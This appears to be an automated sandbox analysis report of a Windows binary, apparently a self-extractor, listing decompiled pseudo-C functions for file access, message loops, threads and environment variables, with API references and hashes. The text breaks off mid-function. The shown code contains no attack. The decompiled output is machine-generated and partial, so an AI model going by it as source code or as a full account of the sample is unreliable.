Part of subcall function 01361410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,0135ACFE,?,?,?,0135ACAD,?,-00000002,?,00000000,?), ref: 01361426

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 01369A70

Strings

plWv, xrefs: 01369A80
EDIT, xrefs: 01369A54, 01369A5F, 01369A6C

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT$plWv
API String ID: 4243998846-3413696572
Opcode ID: d19ed0bd9e87dfd98e1bf1c7242a0d7a9fe33cf43d99690ec52297c82b281809
Instruction ID: 580477597f4b49f2125d38c48889a56a4617275ff79ac3a433e440911c29723b
Opcode Fuzzy Hash: d19ed0bd9e87dfd98e1bf1c7242a0d7a9fe33cf43d99690ec52297c82b281809
Instruction Fuzzy Hash: D7F0E232A003283BFA30A6A99C09FEF7BAC9B86B14F040156BE00E71C4D7709905C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 01359768, Relevance: 7.6, APIs: 5, Instructions: 116
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E01359768(void* __ecx, void* __esi, struct _FILETIME _a4, signed int _a8, short _a12, WCHAR* _a4184, unsigned int _a4188) {
				long _v0;
				void* _t48;
				long _t59;
				unsigned int _t61;
				long _t64;
				signed int _t65;
				char _t68;
				void* _t72;
				void* _t74;
				long _t78;
				void* _t81;

				_t74 = __esi;
				E0136D940();
				_t61 = _a4188;
				_t72 = __ecx;
				 *(__ecx + 0x1020) =  *(__ecx + 0x1020) & 0x00000000;
				if( *((char*)(__ecx + 0x1d)) != 0 || (_t61 & 0x00000004) != 0) {
					_t68 = 1;
				} else {
					_t68 = 0;
				}
				_push(_t74);
				asm("sbb esi, esi");
				_t78 = ( ~(_t61 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t61 & 0x00000001) != 0) {
					_t78 = _t78 | 0x40000000;
				}
				_t64 =  !(_t61 >> 3) & 0x00000001;
				if(_t68 != 0) {
					_t64 = _t64 | 0x00000002;
				}
				_v0 = (0 |  *((intOrPtr*)(_t72 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				E01356EF9( &_a12);
				if( *((char*)(_t72 + 0x1c)) != 0) {
					_t78 = _t78 | 0x00000100;
				}
				_t48 = CreateFileW(_a4184, _t78, _t64, 0, 3, _v0, 0); // executed
				_t81 = _t48;
				if(_t81 != 0xffffffff) {
					L17:
					if( *((char*)(_t72 + 0x1c)) != 0 && _t81 != 0xffffffff) {
						_a4.dwLowDateTime = _a4.dwLowDateTime | 0xffffffff;
						_a8 = _a8 | 0xffffffff;
						SetFileTime(_t81, 0,  &_a4, 0);
					}
					 *((char*)(_t72 + 0x12)) = 0;
					_t65 = _t64 & 0xffffff00 | _t81 != 0xffffffff;
					 *((intOrPtr*)(_t72 + 0xc)) = 0;
					 *((char*)(_t72 + 0x10)) = 0;
					if(_t81 != 0xffffffff) {
						 *(_t72 + 4) = _t81;
						E0135FAB1(_t72 + 0x1e, _a4184, 0x800);
					}
					return _t65;
				} else {
					_a4.dwLowDateTime = GetLastError();
					if(E0135B32C(_a4184,  &_a12, 0x800) == 0) {
						L15:
						if(_a4.dwLowDateTime == 2) {
							 *((intOrPtr*)(_t72 + 0x1020)) = 1;
						}
						goto L17;
					}
					_t81 = CreateFileW( &_a12, _t78, _t64, 0, 3, _v0, 0);
					_t59 = GetLastError();
					if(_t59 == 2) {
						_a4.dwLowDateTime = _t59;
					}
					if(_t81 != 0xffffffff) {
						goto L17;
					} else {
						goto L15;
					}
				}
			}

0x01359768
0x0135976d
0x01359773
0x0135977c
0x0135977e
0x01359789
0x01359794
0x01359790
0x01359790
0x01359790
0x0135979a
0x013597a2
0x013597aa
0x013597b3
0x013597b5
0x013597b5
0x013597c0
0x013597c5
0x013597c7
0x013597c7
0x013597dc
0x013597e0
0x013597e9
0x013597eb
0x013597eb
0x01359804
0x0135980a
0x0135980f
0x01359873
0x01359878
0x0135987f
0x01359888
0x01359893
0x01359893
0x0135989e
0x013598a1
0x013598a4
0x013598a7
0x013598ad
0x013598be
0x013598c2
0x013598c2
0x013598d2
0x01359811
0x01359817
0x01359833
0x01359862
0x01359867
0x01359869
0x01359869
0x00000000
0x01359867
0x0135984c
0x0135984e
0x01359857
0x01359859
0x01359859
0x01359860
0x00000000
0x00000000
0x00000000
0x00000000
0x01359860

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,013576F2,?,00000005,?,00000011), ref: 01359804
GetLastError.KERNEL32(?,?,013576F2,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 01359811
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,00000000,00000800,?,?,013576F2,?,00000005,?), ref: 01359846
GetLastError.KERNEL32(?,?,013576F2,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0135984E
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,013576F2,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 01359893

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 68db0a1ec768b703d1691b74de2102c6e2a53c796dd0dcbe3c6d3b498d8d4b18
Instruction ID: 3c5f1e7e8ec3ad10850b984e24623b52b1eb443377ca1b827be41769cf9822dc
Opcode Fuzzy Hash: 68db0a1ec768b703d1691b74de2102c6e2a53c796dd0dcbe3c6d3b498d8d4b18
Instruction Fuzzy Hash: 1641F471544756ABE3219F289C05F9ABBE9EB01B2CF10071AFDA0961C1D3759489CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0136A388, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0136A388() {
				struct tagMSG _v32;
				int _t7;
				struct HWND__* _t10;
				long _t14;

				_t7 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t7 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					_t10 =  *0x13975c8; // 0x4034c
					if(_t10 == 0) {
						L3:
						TranslateMessage( &_v32);
						_t14 = DispatchMessageW( &_v32); // executed
						return _t14;
					}
					_t7 = IsDialogMessageW(_t10,  &_v32); // executed
					if(_t7 == 0) {
						goto L3;
					}
				}
				return _t7;
			}

0x0136a399
0x0136a3a1
0x0136a3aa
0x0136a3b0
0x0136a3b7
0x0136a3c8
0x0136a3cc
0x0136a3d6
0x00000000
0x0136a3d6
0x0136a3be
0x0136a3c6
0x00000000
0x00000000
0x0136a3c6
0x0136a3e0

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0136A399
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0136A3AA
IsDialogMessageW.USER32(0004034C,?), ref: 0136A3BE
TranslateMessage.USER32(?), ref: 0136A3CC
DispatchMessageW.USER32(?), ref: 0136A3D6

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 9de4a80b4d77bf2e5d6c1ad1c69a70a82ab5fe56d9bfda98fd9ddedb46625897
Instruction ID: dd1d000cc56ae00e9aac6bef064017e434035cbef332c1963e10f4beb62a3244
Opcode Fuzzy Hash: 9de4a80b4d77bf2e5d6c1ad1c69a70a82ab5fe56d9bfda98fd9ddedb46625897
Instruction Fuzzy Hash: 93F0B771901329ABDB30ABE6AC4CDEF7F7CEE06265B004515B919D3088E768E109DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0137A6B2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0137A6B2(signed int __ebx, void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t31;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_v8 = E01378516(__ebx, __ecx, __edx);
				E0137A7D1(__ebx, __ecx, __edx, _t81);
				_t31 = E0137A446(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_t70 = E01377A8A(_t57, 0x220);
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E0137A873(_t51, _t70,  *(_v8 + 0x48), __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E01377847();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0x138db20;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0x138db20) {
								E01377A50( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0x138dda0 & 0x00000001;
							if(( *0x138dda0 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E0137A31C(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0x138dd40; // 0xe622e8
									 *0x138d814 = _t44;
								}
							}
						}
						L6:
						E01377A50(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E01377ECC())) = 0x16;
						goto L5;
					}
				}
			}

0x0137a6b2
0x0137a6bf
0x0137a6c2
0x0137a6ca
0x0137a6d3
0x0137a6d6
0x0137a6dc
0x00000000
0x0137a6de
0x0137a6e2
0x0137a6ef
0x0137a6f1
0x0137a6f5
0x0137a6f7
0x0137a727
0x0137a727
0x00000000
0x0137a6f9
0x0137a706
0x0137a70c
0x0137a70f
0x0137a714
0x0137a718
0x0137a71a
0x0137a739
0x0137a73d
0x0137a73f
0x0137a73f
0x0137a74a
0x0137a74e
0x0137a74f
0x0137a751
0x0137a754
0x0137a75b
0x0137a760
0x0137a765
0x0137a75b
0x0137a766
0x0137a76c
0x0137a771
0x0137a773
0x0137a776
0x0137a779
0x0137a780
0x0137a782
0x0137a789
0x0137a78e
0x0137a797
0x0137a79c
0x0137a7a2
0x0137a7a4
0x0137a7a9
0x0137a7a9
0x0137a7a2
0x0137a789
0x0137a729
0x0137a72a
0x00000000
0x0137a71c
0x0137a721
0x00000000
0x0137a721
0x0137a71a

APIs

Part of subcall function 01378516: GetLastError.KERNEL32(?,013900E0,01373394,013900E0,?,?,01372E0F,?,?,013900E0), ref: 0137851A
Part of subcall function 01378516: _free.LIBCMT ref: 0137854D
Part of subcall function 01378516: SetLastError.KERNEL32(00000000,?,013900E0), ref: 0137858E
Part of subcall function 01378516: _abort.LIBCMT ref: 01378594

Part of subcall function 0137A7D1: _abort.LIBCMT ref: 0137A803
Part of subcall function 0137A7D1: _free.LIBCMT ref: 0137A837

Part of subcall function 0137A446: GetOEMCP.KERNEL32(00000000,?,?,0137A6CF,?), ref: 0137A471

_free.LIBCMT ref: 0137A72A
_free.LIBCMT ref: 0137A760

Strings

", xrefs: 0137A7A9
", xrefs: 0137A7A4

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast_abort
String ID: "$"
API String ID: 2991157371-1659534725
Opcode ID: fd8e59df5460b61b0df54950cf101019231fd3efd724df8be6344965ff714d27
Instruction ID: 4a76335d6547c26c394f1e02695d1f94f73424450063773b3c25915fb9a46375
Opcode Fuzzy Hash: fd8e59df5460b61b0df54950cf101019231fd3efd724df8be6344965ff714d27
Instruction Fuzzy Hash: 9B31B431904249AFEB31EFECD444BADBBF5EF40368F294099E5059B291EB799E40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01369AA0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E01369AA0(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _t10;

				_t10 = E0135FCFD(L"riched20.dll"); // executed
				 *__ecx = _t10;
				 *0x138dffc(0); // executed
				_v16 = 8;
				_v12 = 0x7ff;
				 *0x138deb4( &_v16);
				_v32 = 1;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				L0136D820(); // executed
				 *0x138df08(0x13975c0,  &_v8,  &_v32, 0); // executed
				return __ecx;
			}

0x01369aaf
0x01369ab6
0x01369ab9
0x01369ac2
0x01369aca
0x01369ad1
0x01369adb
0x01369ae6
0x01369aea
0x01369aed
0x01369af0
0x01369afa
0x01369b07

APIs

Part of subcall function 0135FCFD: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0135FD18
Part of subcall function 0135FCFD: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0135E7F6,Crypt32.dll,?,0135E878,?,0135E85C,?,?,?,?), ref: 0135FD3A

OleInitialize.OLE32(00000000), ref: 01369AB9
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 01369AF0
SHGetMalloc.SHELL32(013975C0), ref: 01369AFA

Strings

riched20.dll, xrefs: 01369AA8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 34a430060c50060edd54f9da2bc8a6c0c7749ac80512fa6c6ec490b27d62a4fb
Instruction ID: 2ae6e7c48b938043369d00554a3ebdd19a2b6316f4e85fbe8c57da43e59f46ae
Opcode Fuzzy Hash: 34a430060c50060edd54f9da2bc8a6c0c7749ac80512fa6c6ec490b27d62a4fb
Instruction Fuzzy Hash: 8EF0FFB1D00209ABCB60AF9AD8489EEFFFCEF54715F00415AE814A2244DBB456058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0136C891, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0136C891(void* __eflags, WCHAR* _a4) {
				char _v8196;
				int _t7;
				WCHAR* _t12;
				void* _t14;

				_t14 = __eflags;
				E0136D940();
				SetEnvironmentVariableW(L"sfxcmd", _a4); // executed
				_t7 = E0135F835(_t14, _a4,  &_v8196, 0x1000);
				_t12 = _t7;
				if(_t12 != 0) {
					_push( *_t12 & 0x0000ffff);
					while(E0135F94C() != 0) {
						_t12 =  &(_t12[1]);
						__eflags = _t12;
						_push( *_t12 & 0x0000ffff);
					}
					_t7 = SetEnvironmentVariableW(L"sfxpar", _t12); // executed
				}
				return _t7;
			}

0x0136c891
0x0136c899
0x0136c8a7
0x0136c8bc
0x0136c8c1
0x0136c8c5
0x0136c8ca
0x0136c8d4
0x0136c8cd
0x0136c8cd
0x0136c8d3
0x0136c8d3
0x0136c8e3
0x0136c8e3
0x0136c8ed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0136C8A7
SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0136C8E3

Strings

sfxcmd, xrefs: 0136C8A2
sfxpar, xrefs: 0136C8DE

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: e36a426f8ddb6385221ae97bafea7f1044e1dab958758c31219cafd9a08afd57
Instruction ID: 971ceab109c77bf0c020057e949f49ad122a87ffd518ad4a2a2424fad4986f0b
Opcode Fuzzy Hash: e36a426f8ddb6385221ae97bafea7f1044e1dab958758c31219cafd9a08afd57
Instruction Fuzzy Hash: F4F0A772810325AAD7303FD99C09EAA7FACEF19B65F004056FD8896306DA609840C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 0135964A, Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0135964A(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t25 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t25 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E01359745(_t25);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t25 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t25 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E0135964A(_t25);
						}
					}
				}
				return _t15;
			}

0x0135964d
0x01359650
0x01359656
0x01359660
0x01359660
0x01359672
0x0135967a
0x013596d6
0x0135967c
0x0135967e
0x01359685
0x0135969e
0x013596a2
0x013596b3
0x013596b7
0x013596d1
0x013596d1
0x013596c3
0x013596c3
0x013596cc
0x00000000
0x013596ce
0x013596ce
0x00000000
0x013596ce
0x013596cc
0x013596a4
0x013596a4
0x013596ad
0x00000000
0x013596af
0x013596af
0x013596af
0x013596ad
0x01359687
0x01359687
0x0135968f
0x00000000
0x01359691
0x01359691
0x01359692
0x01359692
0x01359697
0x01359697
0x0135968f
0x01359685
0x013596de

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0135965A
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 01359672
GetLastError.KERNEL32 ref: 013596A4
GetLastError.KERNEL32 ref: 013596C3

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 4b8920fe25241187468bfd4a0f9ee35804e17b1616151c157f013f384c0b7d1c
Instruction ID: 592ab89b9c976c0a249ddc46de17b9a146f41269fe3e759f9b45513f2bbde99b
Opcode Fuzzy Hash: 4b8920fe25241187468bfd4a0f9ee35804e17b1616151c157f013f384c0b7d1c
Instruction Fuzzy Hash: DE118E30500308EFDBA14B68C944F6A77AEEB04B3DF01C52AED2A95180DB748948CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01379A2C, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E01379A2C(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x13b0768 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x1385ba0 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0xea6a5ad3
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x01379a31
0x01379a35
0x01379a3c
0x01379a40
0x01379a4e
0x01379a5e
0x01379a64
0x01379a68
0x01379a91
0x01379a93
0x01379a97
0x01379a9a
0x01379a9a
0x01379aa0
0x01379aa2
0x00000000
0x01379aa3
0x01379a6a
0x01379a73
0x01379a82
0x01379a75
0x01379a78
0x01379a7e
0x01379a7e
0x01379a86
0x00000000
0x01379a88
0x01379a8b
0x01379a8d
0x00000000
0x01379a8d
0x01379a86
0x01379a42
0x01379a47
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,01372E0F,00000000,00000000,?,013799D3,01372E0F,00000000,00000000,00000000,?,01379BD0,00000006,FlsSetValue), ref: 01379A5E
GetLastError.KERNEL32(?,013799D3,01372E0F,00000000,00000000,00000000,?,01379BD0,00000006,FlsSetValue,01386058,01386060,00000000,00000364,?,013785E8), ref: 01379A6A
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,013799D3,01372E0F,00000000,00000000,00000000,?,01379BD0,00000006,FlsSetValue,01386058,01386060,00000000), ref: 01379A78

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 0f72abd41f45b286878faf233da4c830bb0ab423092f9fb4b41b832b35ae961a
Instruction ID: 302969348557df449fca3b524e8fcf1ab081698f6a4af7443fe144c76e6307e3
Opcode Fuzzy Hash: 0f72abd41f45b286878faf233da4c830bb0ab423092f9fb4b41b832b35ae961a
Instruction Fuzzy Hash: 7001D436242226ABEF729A6C9C44B5B7B9CAF457B8B200320FE06D3141D724D800C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 013604F5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E013604F5() {
				long _v4;
				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t12;
				void** _t18;
				void* _t22;

				_t12 = 0;
				if( *0x13900e0 > 0) {
					_t18 = 0x13900e4;
					do {
						_t7 = CreateThread(0, 0x10000, E0136062F, 0x13900e0, 0,  &_v4); // executed
						_t22 = _t7;
						if(_t22 == 0) {
							_push(L"CreateThread failed");
							_push(0x13900e0);
							E01356CC9(E0136E214(E01356CCE(0x13900e0)), 0x13900e0, 0x13900e0, 2);
						}
						 *_t18 = _t22;
						 *0x013901E4 =  *((intOrPtr*)(0x13901e4)) + 1;
						_t8 =  *0x1397368; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t18, _t8);
						}
						_t12 = _t12 + 1;
						_t18 =  &(_t18[1]);
					} while (_t12 <  *0x13900e0);
					return _t8;
				}
				return _t5;
			}

0x013604fa
0x013604fe
0x01360502
0x01360505
0x01360519
0x0136051f
0x01360523
0x01360525
0x0136052a
0x01360547
0x01360547
0x0136054c
0x0136054e
0x01360554
0x0136055b
0x01360560
0x01360560
0x01360566
0x01360567
0x0136056a
0x00000000
0x0136056f
0x01360573

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_0001062F,?,00000000,00000000), ref: 01360519
SetThreadPriority.KERNEL32(?,00000000), ref: 01360560

Part of subcall function 01356CCE: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01356CEC

Strings

CreateThread failed, xrefs: 01360525

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 098da6846aa01db671bb7b8bd71477c06d34eca6e8665e9b482f0436896fa982
Instruction ID: de34749ea8b9d6bd2d4b190d81308072bea5e7f887d686b53ca5501b21e36d04
Opcode Fuzzy Hash: 098da6846aa01db671bb7b8bd71477c06d34eca6e8665e9b482f0436896fa982
Instruction Fuzzy Hash: A601FEB5348301AFD7386F559C42F6B779DEB4475DF20402DF78556284CAA16845C734

Uniqueness

Uniqueness Score: -1.00%

Function 01359C34, Relevance: 4.6, APIs: 3, Instructions: 96
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E01359C34(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				void* __ebp;
				int _t24;
				long _t32;
				void* _t36;
				void* _t42;
				void* _t52;
				intOrPtr* _t53;
				void* _t57;
				intOrPtr _t58;
				long _t59;

				_t52 = __edx;
				_t59 = _a8;
				_t53 = __ecx;
				if(_t59 != 0) {
